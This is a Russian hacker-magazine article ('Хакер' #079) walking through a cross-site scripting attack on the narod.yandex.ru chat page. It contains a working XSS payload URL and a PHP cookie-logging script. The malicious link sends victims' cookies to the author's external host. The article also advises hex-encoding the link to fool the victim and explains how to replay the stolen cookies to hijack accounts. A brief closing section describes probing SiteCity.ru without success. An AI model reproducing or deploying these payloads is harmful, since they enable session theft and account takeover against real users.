Ломаем Народ.ру Даня aka xbit Хакер, номер #079, стр. 079-070-3 http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle=<h1>XAKEP</h1>&com_id=96366 [понеслась!] Сервер вернул мне страницу, которую ты можешь наблюдать на соответствующем скрине. Было очевидно, что переменная вообще никак не фильтровалась, и я составил другой запрос: http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle=<script language=”javascript”>alert(document.cookie);</script>&com_id=96366 Функция alert() исправно выдала мне одержимое всех куков, которые народ.ру установил на моем компе. В ходе авторизации детище Яндекса устанавливает пользователям кукисы, в которых содержится вся нужная инфа для доступа к мылу и сайту жертвы. Подробно расписывать, что делать дальше, я не буду: уже писал в позапрошлом номере, да и вообще о проведении CSS-атак мы писали не раз и не два. Повторюсь лишь, что нужен хостинг с поддержкой PHP, куда необходимо залить сценарий write.php: <? if ($QUERY_STRING=="") exit; $f=fopen ("data.dat","a+"); fwrite($f, "$QUERY_STRING \n"); fclose($f); echo "Все ок"; ?> Этот сценарий записывает параметры, переданные JavaScript-жуком. Самого жучка внедряем в ссылку и подсовываем ламеру. Вид ссылки должен быть следующий: http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle= <script language=”javascript”>open('http://xbit.switch.pp.ru/write.php?'+document.cookie); </script>close();&com_id=96366 Естественно, вместо http://xbit.switch.pp.ru/ нужно поставить адрес хоста хакера. Как я уже упоминал в прошлой статье, код линка лучше перевести в hex-кодировку, чтобы ламер не запалил теги в ссылке. Результат всей операции — украденные куки юзера. Печенье устанавливается во время авторизации. Для того чтобы успешно залогиниться под видом жертвы, нужно для начала завести свой аккаунт и пройти авторизацию, тогда появятся печенья, которые позже можно отредактировать. Лично я пользуюсь для этих целей Cookie Editor’ом. Данная программа предельно проста в освоении. Все, что требуется, так это указать хост куки, которого нужно подправить. После этого откроется простенькое окно, в которое вместо своих записей нужно вбить украденные. Сохранить изменения и ползти на головной сайт народа — проверять правильность прохождения квеста. Об этом известит приветствие в правом верхнем углу. [город Сайтов] После опытов с народ.ру мне захотелось прощупать какой-нибудь другой бесплатный хостинг, на котором располагался бы онлайновый конструктор. Таким сервисом стал SiteCity.RU. Однако я не только не смог взломать этот конструктор — у меня не получилось даже зарегистрироваться. Сервис никак не хотел высылать мне пароль на указанное мыло. Повторив процедуру еще несколько раз, я пришел к выводу о том, что сервису не нужны новые пользователи, и приступил к «поверхностному» изучению проекта. SiteCity.ru интересен тем, что люди, воспользовавшиеся хостингом этого сервиса, могут общаться друг с другом посредством личных сообщений. |